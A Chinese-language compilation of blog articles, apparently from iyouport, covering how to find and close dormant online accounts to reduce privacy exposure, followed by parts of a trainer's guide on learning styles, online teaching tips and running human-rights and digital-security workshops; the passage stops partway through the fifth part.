您需要留意的东西，例如：您从未跟进的免费试用、您已经放弃的流媒体服务、使用后发现并不是您想要的东西，等等。

在某些方面，这些旧帐户除了收集虚拟尘埃或偶尔发送电子邮件唠叨之外似乎没有任何伤害。但是，从安全角度来看，有太多的休眠登录可能是非常危险的事。

想想看，如果应用程序背后的开发人员突然变得流氓、或者黑客攻击服务的数据库，会发生什么。尤其是，任何追踪者都会采取撒网式搜罗一切关于你的信息，任何蛛丝马迹对他们来说都是非常重要的线索。

⚠如果数字垃圾没有清理干净，不仅会将您的电子邮件地址甚至家庭地址等重要个人信息暴露出来，并且，还可能会让恶意攻击者进入更大、更重要、更敏感的帐户。

这可能是因为您使用了一项主要服务来登录较小的服务（比如用谷歌/FB账户登陆一个小游戏网页等等类似的情况），或者因为您在不同的帐户之间共享了用户名和密码 —— ⚠这是您最不应该做的事。

您闲逛后就不再使用的帐户越多，追踪者和攻击者就越有目标。

因此，建议的做法是大清洗：整理您留下的数字路径，并关闭所有您不经常使用的帐户，尤其是那些与真实身份想关联的账户。

不幸的是，并没有一个大按钮可以让您一次性做到这一切，但是，通过一些简单的侦探工作和几分钟的业余时间，你就可以有效地擦除这些踪迹。

下面将介绍完成这项防御工作所需要的步骤。

1、找到它们

首先，选择您实际记住的帐户和应用程序，那些仍然存在于手机屏幕

上的帐户和应用程序，或者定期在收件箱中提醒您的东西，因为它们最想念您。

如果实在想不起来了，去电子邮件中搜索一下也是好主意 —— 所有用过一段时间的电子邮箱，尤其是陈年的邮件，很可能会提醒您关于一些曾经的注册行为。

想想您在开设账户时收到的电子邮件中最常见的字眼是什么？—— 搜索“确认您的电子邮件”、或“新帐户”、或“验证您的电子邮件地址”，等这些短语，应该会能找到东西（别忘了使用双语搜索：”confirm your email” or “new account” or “verify your email address”）。

您可能正处于甚至不记得手机上某些应用程序是做什么的阶段，因此，浏览您安装的所有应用程序，以识别您不再使用的东西。

对于订阅项目，iOS在这个链接上有一个方便的一站式商店，只需点击一下即可取消不再想要的服务。

继续，前往您的 Facebook、Twitter 和 Google 帐户，并查看您已连接到他们的所有应用程序和服务，例如，所有“使用 Facebook 登录”按钮。

点击此处查看 **Facebook**，此处查看 **Twitter**，此处查看 **Google**。如果您尚未登录，则需要登录。

从 Facebook、Twitter 和 Google 断开第三方应用和服务通常只需要从上面那三个页面上点击一两下，但是请记住，这实际上不会关闭您未使用的帐户 —— 这只是意味着他们无法轻易进入您的主要帐户了。

最后但同样重要的是，查看用于管理密码和登录的任何程序，无论是专用密码管理器还是Web浏览器。

这里面应该会出现一些您已经忘记的帐户，并且还有一个额外的好处，就是，在您忘记这些帐户的情况下这些应用可以向您提供登录详细信息。

2、关闭它们

现在就可以开始实际关闭这些帐户了，如果可能的话，建议最好通过桌面Web浏览器完成。

仅仅从手机中移除应用程序是不够的，尽管您也应该这样做。

如果您忘记了特定网站和服务的登录凭据，则必须完成帐户提供的任何密码重置选项，否则您可能需要直接联系客户支持。这很麻烦，但为了安心，这是值得的。

一旦进入这些帐户，就可以寻找任何类型的数据备份或导出选项，不论您想要保留在此僵尸帐户中积累的数据还是将其移动到其他位置。

某些服务会自动查找和删除旧帐户，通常是为您搜索收件箱或社交媒体帐户。

不过我们并不是特别推荐这些服务；因为你无法确定这些服务对你的数据做了什么，而且你必须注册另一个数字帐户才能使用它们。

坚持自己动手是最靠谱的。

现在终于准备关闭僵尸帐户了。

如何处理这个问题会因应用和服务而异，但你应该可以通过快速搜索轻松找到该选项。

您通常需要再次输入密码才能证明您就是您所说的人。

如果你完全找不到方向，JustDeleteMe 有一个方便的数据库，用于删除许多流行服务的帐户。我们介绍过它，以及其他清除足迹的工具，在这里看到全部《如何分身》。

仔细阅读屏幕上显示的任何信息，特别是有关数据保留的政策：在公司完全清除其记录之前，您可能需要采取一些额外步骤，例如勾选其他方框或发送后续电子邮件。

等待收到确认消息，您就完成了。

3、注意的问题

在清理的过程中，要考虑的最重要的帐户就是您的电子邮件 —— 所有邮箱，即：您在线生活的中央数据中心。

您的电子邮件帐户对于攻击者来说将是一个宝贵的大礼包，因为它可能包含除了您自己之外的许多其他人（朋友、家庭成员、同事、等等）的信息。

删除您不再需要的电子邮件、并将您仍希望使用的旧电子邮件导出到硬盘驱动器，是一种明智的方法，可以减少因电子邮件被攻击而受到损害的可能性。

几乎所有电子邮件服务都提供导出邮件和其他帐户数据的方法，以便您在本地保存，并可以从公司的服务器中删除它。

并且，不要忘记清除和删除不再使用的旧电子邮件帐户。

如上所述，您还应该利用电子邮件搜索功能来梳理旧邮件。

您可以批量删除特定日期之前的所有内容、或特定联系人相关的所有内容。

例如，搜索旧房东或雇主的名字、删除您发送过的任何电子邮件，因为这些电子邮件中更有可能包含税务表格或工资单等个人信息。

您还应该定期在电子邮件中搜索您的社会安全号码/银行卡号码/身份证号码/真实手机号的最后四位数字，并删除曾经显示过这些号码的任何邮件。

如果可以，请询问这些电子邮件的发件人或收件人，要求对方也将其删除。

2️⃣和拇指驱动器一样，您还可能会在各种服务中随机保存文件，这些服务提供如 Box、Google Drive 和 Dropbox 等免费存储空间。

请对那里的内容进行整理，并消除可能造成特定风险的任何东西 —— 例如旧的纳税申报表或财务文件、拍摄了您和重要联系人的照片、视频、描述了您的真实信息一切文档。

3️⃣您的照片是否备份到了多种不同的服务上？清理一下；您是否还拥有两年前使用过的消息应用程序帐户？为什么2014年的卡路里计算应用程序仍在您的手机上？……取消并删除一切。这些类型的暴露都是不必要的风险。

⚠再一次提醒，不要只是从手机中删除应用程序，请确保清理并关闭您的帐户，以便它保留尽可能少的关于您的数据。

4️⃣关闭帐户并不一定意味着公司会删除您的所有数据或删除它所了解的基本信息 —— 数据处理流程应该在应用程序的服务条款中列出 —— 它们有可能会使帐户保持活跃并可能继续收集数据。

5⃣智能手机的相册上是否有信用卡、身份证和驾驶执照的照片？朋友和家人在旅行和绑定时是否曾录入过您的身份信息？您是否曾经因某种申请而扫描了您的家庭成员的护照和其他文件？……

回忆所有这些细节。

6⃣全部清理完成后就可以以全新的身份开始新生活了。请尽量记住这些最佳实践，因为您不可避免地会积累更多的数字残骸。

任何一次下载和免费使用之前请三思。比如这样：

- 《完整版新身份构建手册》
- 《如何建立一个匿名 Facebook 账户以保护个人数据的私密性？》
- 《如果您必需使用 WhatsApp：这里是减少伤害的办法》
- 《如何在不必暴露真实电话号码的情况下使用 Signal》
- 《当局如何抓捕他们想要的人：经验和教训》
- 《如何不暴露手机号、不花钱，实现双因素身份验证？》
- 简单说几乎所有安全知识（不论线上还是线下）都值得您掌握，在“技术防身”和“护身符”栏目中看到更多

好了就是这样。

不论您是否准备人间蒸发，本系列提供的知识都是很有价值的 —— 只要您不喜欢被追踪监视。〇

原文

有哪些类型的学习风格：培训师指南（2）- iyouport

培训师指南

【2021年5月27日存档】尽可能准确选择、并巧妙组合这些风格，以尽可能适合您的培训目标和学员特征

欢迎回来！如果您错过了上一集，可以在这里回顾《19个免费有趣的破冰活动，适用于在线培训、教学以及远程协作团队：培训师指南（1）》。

有很多不同类型的学习风格，作为培训师，您需要能找到最适合您的培训效果的风格。学习风格有许多不同的分类方法，这些方法是由不同的研究人员使用长期的经验设计出来的，本集内容将讨论这些方法。

说在前面

「图」

在开始讨论学习风格之前，值得指出的是，最新的学习研究正朝着我们所有人都可以使用所有风格进行学习的观点发展。

另外，学习风格问卷被一些人认为是有缺陷和局限性的；但是，您不应该完全否定学习风格的想法。

尽管我们都可以使用所有的风格来学习，但我们中的一些人可能会对某些风格比其他风格更适应。另外，作为一名培训师，关注学习风格，能帮助您在教学中加入多样性，对您来说是很有用的。

以下是最常用的学习风格类别。

1. 视觉

「图」

视觉学习者是那些对图画、视频、照片、颜色和形状等视觉信息反应较好的人。

您可以通过使用任何类型的视觉教具和活动，包括图表、图像、信息图和关系图等，来针对这种学习方式。

可以帮助您的工具包括 PowerPoint 幻灯片、带图画的PPT、视频和任何其他视觉材料。

比如您的培训课正在教会学员使用一种安全工具，将操作过程制作成视频的效果就会比语言或文字的效果更好；再比如，在演讲中插入幻灯片，就比单纯使用语言的效果更好。

2. 听觉

「图」

听觉学习者往往对音乐、节奏或韵律有偏好。如果您不教音乐课，要解决这种学习方式并不容易，但您可以在课程中采用包括歌曲、音乐或诗歌在内的活动。

比如，行动主义团队都有自己的鼓舞士气的歌曲，您可以采用，还可以调动学员编写或改编自己的曲目，将安全文化编写成顺口溜等等，都是非常好的方法。

3. 语言

「图」

语言型的学习者更喜欢文字，无论是口头的还是书面的。所以，您可以针对这种风格，提供带有阅读材料的讲义或进行口头解释。

4. 动觉型

「图」

动觉学习注重的是运动和身体感觉。因此，偏爱这种风格的学习者对操作物体、四处走动、做身体练习反应良好。

您可以针对这种学习方式，要求学员做一些需要站立的活动，比如说。或者您可以加入一些需要使用卡片的活动，或者将想法整理到可以在桌子上重新排列的便签上。我们在《信息行动主义》和《整体安全》系列教程中包含的很多练习都适合这种学习风格。

如果您是在线教学，这种风格就比较难适应，但您可以使用一些活动来进行。例如本系列第1集《破冰活动》中列出的一个活动叫做“拍张照片”。

这项活动要求学员对自己房间里或窗外的某个东西拍照，然后与其他学员展开讨论。这是一个既能满足视觉学习者又能满足动觉学习者的活动，因为他们需要与周围的环境互动。

另外，在网上教学时，只要要求学员必须用鼠标点击东西和移动东西来进行互动，就足以吸引人们的触觉。所以，例如，闪卡、拖放、或设计思维导图等，都可以起到帮助作用。

【注：闪卡（Flash Card）是一小块纸片，在学校里用来作辅助教学。它可以用来记录词汇、历史事件时间、公式等等。使用闪卡的目的主要是帮助记忆，提高学生的学习动机、以及在课堂上为学生提供多种感官的刺激。】

您也可以要求学习者制作关于他们所学内容的视频，作为一种作业形式，以鼓励人们与环境互动。

当然，如果您使用我们的《示威者指南》、《解码秘密》或者《难以被追踪》等教程作为培训材料，这种风格是非常适用的。

5. 独处

「图」

孤僻的学习者更喜欢自己来完成任务（如阅读、研究、写作）。

您可以给学习者一些个人思考的空间，比如，先让他们自己分析一个案例研究或思考一个主题，然后再让他们结成2人或多人的小组，一起讨论。

另外，还可以开展一些单独的活动，如问卷调查或拼图等。

6. 社会型

「图」

社会型或人际型学习者更喜欢通过小组活动来学习。为了针对这类学习者，您可以要求学员做大量的小组活动（如游戏、讨论等）。

7. 逻辑型

「图」

逻辑型学习者是指那些喜欢以逻辑方式分解信息的人。他们是逻辑思维者，会一步步分析信息；他们喜欢程序，喜欢量化事物。

您可以通过引入逻辑步骤序列、流程图、或逻辑有序的要点来解决这种学习风格。如果您使用我们的 “开源情报” 专栏做培训教材，可以适合这种风格。

8. 整体性

「图」

整体性学习者更喜欢关注全局。他们喜欢在不同领域的事物之间建立联系，而不是总是遵循逻辑顺序。

您可以通过包括思维导图、角色扮演和小组讨论等活动来迎合这种学习风格。

9. 活动家

「图」

活动家在实践中学习。因此，他们喜欢参与行动和讨论，甚至在开始阅读之前就采取行动。

针对这种学习方式的良好活动包括头脑风暴、解决问题、讨论、角色扮演和竞赛。我们的 列表-5 中 “行动技巧、战术和原理” 板块中的内容适合这种培训风格。

10. 理论家

「图」

理论家喜欢理解行动背后存在的理论。这种风格与逻辑风格相似，但不完全相同。为了针对这种学习风格，您可以使用故事、名言、统计数据和背景资料。比如我们的 “行动主义” 等专栏，都适合这种风格的培训。

11. 实用主义者

「图」

实用主义学习者喜欢知道他们所学到的知识如何在现实生活中应用。他们喜欢了解知识如何在实际生活中发挥作用。

为了迎合这种风格，您可以使用案例研究、讨论和解决问题的活动。

另外，一定要强调人们将学到的知识对实际生活的好处。这对激励任何成人学习者都很重要，对实用主义者来说尤其如此。

比如我们的 “在敌对环境中保护自己” 教材、“完美隐身” 教材、学习鉴别虚假信息的 “让它民主” 板块，都适合这种风格的培训。

12. 反思者

「图」

反思型学习者喜欢从旁观角度看待正在发生的事。他们还喜欢花时间反思他们所观察到的或经历过的事，以便接受它。

针对这种学习风格，您可以采用两人一组的讨论、自我反思问卷和他人的反馈。比如 “灾难中幸存” 系列、“示威参与者指南” 等教程，都可以使用这种方法进行深入探讨，您将能获得更加本土化的新的发现。

♦□♦□♦□

正如您所注意到的那样，这些学习风格中的某些方面是重叠的；另外，这些只是理论上的构造，在实践中，大多数人都能从使用多种学习风格中获益，您只需要合理地搭配它们，以最适合您的学员特征和培训目标。

我们将在下一集中深入探讨在线培训的一些关键技术方法，帮助您更好的实现远程教学和协作。○

—— 未完待续 ——

原文

让您看起来更专业，给在线培训师的一些提示：培训师指南（3） - iyouport

培训师指南

擅长面对面授课的培训师不一定擅长在线授课，这不在于您的专业知识有多过硬，而是，您需要熟悉显示器视觉效果的特点，以及隔着屏幕调动参与者积极性的小技巧

欢迎回来！如果您错过了前面的内容，可以在这里回顾：

- 《19个免费有趣的破冰活动，适用于在线培训、教学以及远程协作团队：培训师指南（1）》
- 《有哪些类型的学习风格：培训师指南（2）》

如果您是实践在线培训的新手，有一些关键的技巧您可以试试，以立即提高您的培训课程的效率。本集内容将列举一些相关技巧，这样您就可以按照自己的情况选择最合适的方案，或者组合使用它们。

在线培训与线下培训并不完全不同，但有很多相似之处，在这两者中，教学方法真的很重要，您在培训中提供的内容当然也很关键。不过可以理解的是，在线与线下的一些差异，本文来自长期进行培训实践的培训师经验，也许能帮您更快变得专业起来。

1. 如果可以的话，记得看向屏幕上方的摄像头

「图」

无论您使用任何平台进行在线培训，您都很有可能会使用网络摄像头。

当您和学员在线交谈时，您总是会下意识地直接看着屏幕。不过您需要有意识地记住，要看向电脑顶部的摄像头所在的位置。

当您看到屏幕上的自己时，也很可能会想看着自己，但这样的效果会

很差，在屏幕后面的学员看来，您似乎在走神儿。不用担心，只需要一些简单的练习就可以做到，您可以和其他培训师一起练习，彼此指正对方的偏误。

2. 通过分组讨论室进行团队建设活动

「图」

相信您已经体会到了在课堂上提供培训时使用活动是多么重要，因为这意味着学习者可以：

- 有机会通过不同的教学方法来学习
- 与其他学员交流的机会（通常通过社交活动使课堂更加轻松）
- 一些乐趣，因为它可以使学习变得更有趣

如果您是一个全新的在线培训师，您可能会想知道，在线教学的时候如何开展小组活动和团队建设游戏。

诸如破冰游戏之类的小组活动都可以通过使用 “分组讨论室” 在网上轻松进行。

想象一下，您有20个学员，您想把这些学员分成5个小组，每个小组有4个人，这样他们就可以在自己的讨论室里进行活动。

对于一些相关课程的文档，您可以提前发送给每位学员；比如下一次培训课程中涉及到的研讨议题、学员需要基本了解的知识等等，通过电子邮件提前让学员们得到，这样可以节省您的时间，并且具有吸引力，让人们有兴趣想要知道下一次课程的亮点。

值得一提的是，您将需要采用与面对面培训时略有不同的方式来进行在线培训，因为您需要让参与者有更多的时间。

在网上，人们做出响应或做出反应可能需要更长的时间。在在线培训中使用活动时，请留出足够多的时间，尽可能不使用静音。

首次与特定参与者群组使用活动时，请多分配5至10分钟的时间，因为人们如果是首次使用这些技术和工具，可能需要一些指导。

开始时请耐心等待，随着时间的推移，您会发现可以轻松地将各种活动包含在在线培训中。

3. 为在线培训创造正确的工作环境

「图」

找到一个安静的环境，确保您在培训过程中不会有人敲门或忽然闯进来，这应该不用说了。也同时需要注意您身后的背景，如果背景太过嘈杂，会影响学员的注意力集中。

有一个浅色的背景，只有一两个简单的装饰品、或一些简单的东西，是一个很好的方式。尽量做到光线充足。

在线培训中您还需要记住，您的脸部和框定在屏幕上的事物（如您的手）会被额外关注。

所以要确保您在屏幕上的位置，让在线的学员仍然可以看到您的手和上半身。一定要用您的手，并尽量让您的手变得活跃和热情，让虚拟课堂变得生动起来。不过不要太夸张。

4. 在线培训时，正确有效地利用停顿

「图」

了解何时以及如何使用暂停在培训中总是很重要的，在线培训更是如此。

鉴于您无法准确地看到人们在做什么，鉴于人们可能需要更长的时间在网上找到某些东西（例如在哪里按一个按钮进行在线投票、或如何在白板上写字），所以您确实需要给您的学员多几秒钟的时间来做任务。

掌握时间，要显得紧凑和有节奏，但肯定不是太拖拉，否则其中那些熟练操作和反应敏捷的学员就会开始走神儿了。

5. 确保您有合适的设备

「图」

有一些设备可以提高在线培训的音频和视频质量，比如，

a) 使用高清网络摄像头，可以适合所有屏幕尺寸

「图」

高质量的高清网络摄像头现在真的很便宜，而且有两个关键原因，为什么使用高清网络摄像头可以真正发挥作用。

首先，也许最明显的是，视频的质量将是高清晰度的。作为一名在线教师，这将意味着您的画面可以更好地吸引学员。

其次，大多数新的笔记本电脑如今使用1920 x 1080大小的高清屏幕（或更高的分辨率）。基本上您选择摄像头的基本想法应该是，无论学员使用什么样的屏幕分辨率，它都可以看起来质量很好。

分辨率为1366 x 768的笔记本电脑不是全高清的，如果您制作的教学视频包括录制计算机屏幕，那么当人们在较新的支持HD的笔记本电脑上观看它们时，它们的质量可能不会很好。

b) 良好的音频

「图」

确保您使用的麦克风能产生高质量和清晰的音频，这样您的学员就能很好地理解您的意思。从受众的角度来看，没有什么比音频中出现干扰更糟糕的了。

如果您的培训内容需要您动起来，比如在屋子里走动、或者做一些演示动作，您可以使用音效质量好的无线麦克风，比如RØDEWireless Go，它：

- 具有出色的音质
- 附带一个小夹子，您只需将其夹在衣服上即可（它很小）
- 可以发送长达70米的音频
- 体积小巧，便于随身携带

RØDEWireless GO的工作原理：

- 系统附带两个非常小的盒子（设备）
- 您只需将两个设备配对（数秒即可），然后将其中一个夹在自己身上，即系在皮带上或某处，将另一个连接到录音设备上（例如，笔记本电脑或摄像机）
- 然后您就可以在房间里四处走动，也可以在任何地方站立或坐着，没有电线晃来晃去，尤其是您可以毫不费力地录制出令人

赞叹的高质量音频

6. 在线培训时多使用互动可能是很好的方法

「图」

在线培训时，互动性是很重要的，尤其是有很多学员盯着电脑屏幕时。可以理解，您的学员可能会坐立不安。

您可以利用：在线调查、白板和注释、分组讨论室(用于破冰活动和组织建设活动)、思维导图、小测验/抢答等方法，都将有助于使您的在线课程更加有趣，就像您会寻求使线下培训互动很有趣那样。

白板就像现实中培训使用的白板一样，可以让您在上面写东西， Ziteboard 和 Aww 是虚拟在线白板的两个例子，您可以体验一下它们的操作。

7. 适应技术

「图」

这些您都应该提前做好准备，甚至多次测试：

- 设置和连接网络摄像头
- 确保灯光适合您的环境
- 清楚如何使用分组讨论室和您所选择的在线会议软件的所有功能
- 如何正确使用您的麦克风，并确保别人听起来很舒服
- 尽管您可以在自己的电脑上测试网络摄像头和麦克风，但非常建议您通过与外部人员（如朋友或家人）进行视频通话来进行测试

如果您的网络连接质量不好，考虑关闭所有其他设备，包括iPad、智能手机和其他电脑等。关闭其他设备可以帮助提升您的网络连接。

8、一些其他技巧

「图」

- 在开始培训之前做好一切准备，最好离线排练一下
- 在线课程结束后，准备好要共享的作业，例如与该主题相关的

问题列表，以备下一次课程中提问和互动
- 您还可以选择一两名学员成为志愿者，并在需要时帮助您将有关在线课程的重要信息传递给小组中的其他学员
- 给您的学员所有必要的指导，以使您的在线课程顺利进行并取得成果
- 培训过程中也可以给自己适当的休息时间，以便学员有时间思考该主题并收集疑问
- 最好让您的课程简短、或安排一系列简短的课程；这取决于各种参数，例如主题、学员的参与程度和培训计划
- 您可以在在线培训中问一些与该主题相关的开放式问题，以使参与者更加敏感
- 鼓励学员不仅提出与该主题有关的疑问，还应回答其他学员提出的问题。您可以为此建立一个小型在线论坛
- 征询学生的反馈意见，这将帮助您了解他们对培训的看法

根据您的培训主题的敏感性 —— 尤其是，当您采用**IYP**提供的教程时，建议不要使用类似**Zoom**、**Google Meet**、**Webex** 等现成工具，他们都不安全；建议考虑类似 **BigBlueButton** 这样的更安全的自由软件网络会议系统。〇

—— 未完待续 ——

原文

在线培训和促进人权方面的经验教训：培训师指南（4） - iyouport

培训师指南

您的培训工作应该旨在将从事促进人权的重要工作的 “热心人” 们联系起来，而不仅仅是教授

欢迎回来！如果您错过了前面的内容，可以在这里回顾：

- 《19个免费有趣的破冰活动，适用于在线培训、教学以及远程协作团队：培训师指南（1）》
- 《有哪些类型的学习风格：培训师指南（2）》
- 《让您看起来更专业，给在线培训师的一些提示：培训师指南（3）》

作为培训师，需要能够在区域内迅速建立社区，促进对话，并提供内容 —— 所有这些都是为了帮助人权活动家使用我们在《信息行动主义》中介绍的战略效能方法论的5个步骤，来推进行动主义倡导。全球各地的人权活动家在亲自动员和召集战略行动时，都采用了类似的技术。

在COVID-19大流行之前，培训很大程度上依靠现场展示的技能，这会非常方便，比如作为主持人在培训中 “读懂房间” 的能力：环顾整个房间，看看人们何时需要休息，何时需要激发活力，何时需要向参与者提出进一步的问题等等。您甚至可以让房间充满寂静，以聚焦人们的注意力。这种面对面培训的奢侈感在在线培训中几乎是不可能的，因为几秒钟的寂静就像一个永恒的空洞，必须立即被填补。

想要将面对面进行的所有培训和召集转移到网上，是很有挑战的，尤其是在一个虚拟的领域中进行真正的人与人之间的连接，需要很大的努力。

以下是一些经验教训，希望能对您的培训实践有所帮助。

自主学习可以发挥作用，但只适用于很少的人

「图」

当您严重依赖异步培训时，在学员的满意度和保持率方面可能很难有好的结果。但您仍然可以将其作为自学能力强的人的一种选择，只是，真正倾向于这种学习方式的人越来越少。

一对一辅导可能被视为一种合理的解决方案，但并非所有团队都能具备这样的资源—— 实话说，很少有团队能具备，想想看，您将一个问题的解释重复说出5遍或10遍后的感觉？您也许会崩溃。要对此有思想准备。

让培训成为社交活动

「图」

每周利用分组会议进行同步学习，可以提高保留率、社区建设和满意度。当然，这也需要大量的人力资源。

如果您使用我们提供的教程，考虑这一内容的性质，您绝不会只用一个培训师来举办一个有35人参加的面对面研讨会，那么为什么在线上会有不同呢？实践发现，更多的工作人员协助，并经常使用小型的分组会议，会能得到更好的结果：更多的同行学习，更多的参与，以及参与者对您使用的行动战略的深入理解。

所以，您不如先从培训培训师开始，组建一个成熟和熟练的培训师小团队，其中所有成员都可以在不同培训计划的具体工作中进行协调互助。

希望将培训和召集工作转移到网上的人权活动家应该在内部规划成功召集网上会议所需的资源，并与资助者就提供高质量的网上培训和指导所需的费用和工作人员的时间安排进行公开的对话。

把快乐带回到在线辅导中

「图」

一旦您实施了一种更加同步的模式，为参与者提供大量的工作人员支持，并提供同侪互动的机会，您就会发现，不仅参与者能从您的讲习班中得到更多的好处，您自己也是如此。作为培训师，您可以与自己

的团队和助手举行会议，交流大家的经验，试问自己：“我作为一名培训师或活动组织者，是否能从这些在线培训中获得能量？”如果答案是肯定的，您的参与者很可能也是如此。

整合第三方互动工具

「图」

您可以选择一些适合您的新工具让在线培训更安全和更亲切，让人们更方便地参与进来。有很多互动的第三方工具，所以这里只是参考了一些最有用的促进指南和K-12教师经常使用的技巧。

比如 Menti，因为投票结果可以是可视化的，它更有吸引力，您可以在下面看到视频，以充分利用它的功能。

再比如 Mural，它的视觉合作和活动很有用，他们关于如何促进在线研讨会的资源指南对于任何培训师或会议主持人来说都会有价值。

谷歌的 Jam Board 是 Mural 或Zoom白板的一个很好的免费替代品，K-12教育工作者似乎经常使用它，并且有一些不错的操作视频。但是，如果您的培训内容涉及敏感的行动主义，不要使用这些寡头公司的产品。或者，您可以将其用作不敏感的*一部分*互动程序，将您的整个培训计划拆分开。

需要注意的是：这些互动工具都是重视觉的，往往依靠链接到大公司图片数据库的图片。他们的图片往往以欧美为中心，并不能反映出全球的多样性。如果您遇到类似的经历，请让这些公司知道您的经历……要想在这些在线工具中实现全球代表性，还有很长的路要走。

无障碍性

「图」

再比如 Canvas，这是一个在线学习管理系统，可用于深度培训，它可以让一些身体残疾的学员参加您的培训，而他们以前很可能无法前往参加现场培训。每一个在网上召开会议的人权团体都可以打印出这些海报，《为残障人士设计的注意事项》，与自己的团队进行讨论，并在规划网上培训时牢记这些注意事项。

这并不是一个全面的清单，无障碍性需要电子学习平台和使用这些平台的组织给予更多的关注，但至少这是一个很好的讨论起点。

此外在进行过程中，您可以适时地休息一下，并嵌入与面对面培训中可能使用的相同的活力游戏和破冰游戏。在人权研讨会上，人们经常谈论的都是沉重的话题，因此休息一下并使用适当的破冰工具来缓解气氛是很有帮助的。

在疫情期间，全世界的培训工作者都在研究在线环境中可行的技巧，每个月都有越来越好的在线破冰指南出现。如果您自己开发了或遇到了具体的跨文化协作或人权培训方面的增能技巧和破冰技巧，请随时告诉我们。

通过频繁的简短网络研讨会扩大影响

「图」

1–3小时的网络研讨会就足够了，可以包括行动主义战术培训师和使用聊天功能参与其中的活动家们，一定要考虑安全！您所使用的工具是什么、为什么使用它而不是其他同类工具等等，要事先分别对每一位参与者讲明，尤其是，策划并普及《安全文化》，达成共识；您的目标应该是让所有参与者在培训后能分头实现行动，而不是因参与这样的培训而被当局骚扰！您有保护所有参与者的义务。

介绍性的网络研讨会能够成功帮助您推广在线资源，让新的受众熟悉行动主义工具和获取途径。这意味着那些无法沉淀至少一个月的时间与您合作的人，仍然可以感受您的理论和技术。网络研讨会也可以成为决定参加完整课程的学员的起点。

随着您对在线培训技能的磨练，您会能开发出更多的互动功能，为情感互动增色。您需要追求让参与者离开时想到的不是电脑屏幕或聊天栏，也不仅仅是内容 —— 而是其他参与者，他们帮助使网络研讨会更加引人入胜。您的培训工作应该旨在将从事促进人权的重要工作的“热心人”们联系起来，而不仅仅是教授。

以下是来自哈佛大学的教育团队提供的一些在线培训的技巧，虽然公民活动家组织往往没有哈佛大学的丰富资源，但至少可以参考和模仿其中一部分建议，并根据您的具体情况进行调整。

这些技巧旨在让您的在线互动保持高效、积极的参与性和包容性。

课程结构：每周，学员将参加90分钟的讲座 ＋ 90分钟15人以内的分组研讨会。几乎每个人都可以随时看到对方。

团队结构：一名培训师是主讲人，5名助理培训师分别带教各个分组研讨小组，一名首席教研员负责协调后勤工作，带领团队学习，并负责班级的整体流程（由于其他工作强度大，这名教研员不负责讨论小组的工作）。

这是人员密集型的结构，并不是每个人都能奢侈地创建这样的团队，但这里想指出的是我们每个人在创造在线互动体验中所扮演的角色，也许您能找到一种方法，让更少的人承担这些角色。

以下是一些有助于改进在线课程的讨论和建立社区的经验。其中一些经验可以立即在您自己的在线课程/工作坊中实施。

1. 教学研究员与每位学员一对一会面，欢迎学员参加课程，回答任何问题，并开始建立归属感。

2. 在课程开始前，通过在线视频指导，让所有学员做好准备，适应使用在线会议软件。这看起来很简单，但您应该让大家练习做一些简单的事，比如打开麦克风、切换视图、通过聊天按钮参与等等，您会发现这真的很关键。

3. 要求学员提前10–15分钟到达，排除技术上的困难。在讲座开始前的这10–15分钟里，主持人让大家参与聊天，并播放学生自创的播放列表中的音乐。对于那些被选中在讲座期间进行互动的学员，进行麦克风和视频效果的检查。没有互动安排的学员接受一些技术上的指导，比如如何给自己静音。这很重要，您的参与者越多，这一过程就越重要。

4. 在讲座和分组会议中，您可以花一些时间*集体制定*参与的规范：出勤率很重要，按时出席和按时结束都很重要，使用聊天框来思考/提问，您应该演示积极的倾听给所有参与者。要记住，这是培训课程和研讨会，而不是社交媒体群聊！

5. 研讨小组在讲座中扮演的一些角色：

- 一名抄写员，负责在讨论进行时在幻灯片上写字
- 聊天观察者，从聊天中挑出有趣的问题，提示大家发言，清除聊天中出现的概念疑点
- 协调人，每周选几个人与培训师进行交流，以协调大部分的讲座
- 一名考勤管理员（在上课前10分钟给每位到场的学员记考勤）
- 一名技术协调员，负责支持在讲座和课程中使用的视频或音频

媒体。这位技术协调员也可以帮助使用投票和分组讨论室，这样讲师就可以专注于促进学习而不是解决技术问题
- 当学员“举手”的时候，有人来挑选谁来发言

这并不是一门完美的科学，您可以在实践中积累更多经验。为了确保持续改进，您的培训师小组应该每周聚会一次，以互相了解彼此的疑问和创新。探讨哪些地方做得好，哪些地方达到了目标，哪些地方可以继续改进。您可以追求每次授课都能稍作转变，以改善学员的体验。您还可以在课程中期（而不仅仅是在课程结束时）收集调查/影响的数据，以评估效果。

6、在培训过程中，每个分组挑选一个“代表”与培训师互动，这些学员代表需要事先对您想要探讨的一些问题&材料有所了解。这是一个轮流的角色，大家可以报名参加。协调人负责挑选代表，这样您就能最大限度地提高讨论的趣味性、多样性等。需要注意的是，这确实需要您对学员有足够的了解，但即使学员自愿报名，每周不同的人都有机会轮到做代表，也是可行的。

7. 您需要提前准备讨论的问题和策略。一些关键的问题包括：您对我们要做的事的理解是什么？您对关键概念的阐述是什么？您认为X为什么会发生/存在？这些概念之间有什么联系？有什么启示？您还有哪些问题？…… 民意调查和聊天是继续对话的有用工具。

8. 每次会议结束时花10分钟时间从小组代表那里得到一些收获，以了解他们的学习情况，您可以从中获得一些建议，比如哪些方法有助于促进学习？以及还有哪些可以改进的地方？您在内容和过程中得到的快速反馈将有助于您设计和修正每一步的培训计划。

每位培训师和学员都可以在实践过程中总结自己的经验，适合您本地的和具体培训计划的小窍门。如果有的话，随时欢迎联系我们！我们会为您的智慧保留一个匿名展示的窗口，让更多同行从您身上获得灵感。加油。〇

原文

您是合适的人选吗：培训师指南（5） - iyouport

培训师指南

如果您有此专长，非常欢迎联系我们！我们将为您提供帮助

欢迎回来！如果您错过了前面的内容，可以在这里回顾：

- 《19个免费有趣的破冰活动，适用于在线培训、教学以及远程协作团队：培训师指南（1）》
- 《有哪些类型的学习风格：培训师指南（2）》
- 《让您看起来更专业，给在线培训师的一些提示：培训师指南（3）》
- 《在线培训和促进人权方面的经验教训：培训师指南（4）》

如果您对数字安全和与他人分享您的知识感兴趣，您可能对在自己的社区领导数字安全培训的前景感到兴奋。

有时，您可能很难知道从哪里开始，或者您是否是这项工作的合适人选。

📌 在决定是否领导数字安全培训之前，请问自己以下几个问题：

- 我是否与其他数字安全培训师或当地数字安全团体谈过？
- 我在我想接触的社区中是否有足够的公信力？
- 我是否有足够的时间致力于主持培训，并提供足够的后续服务？
- 我是否参与过有经验的安全培训师的数字安全培训并做过旁听？
- 在这个领域中，是否有其他人更适合担任培训师的角色？

下面我们来分析下这些问题，关于它们各自意味着什么。

1. “我是否与其他数字安全培训师或当地数字安全团体谈

过？”

「图」

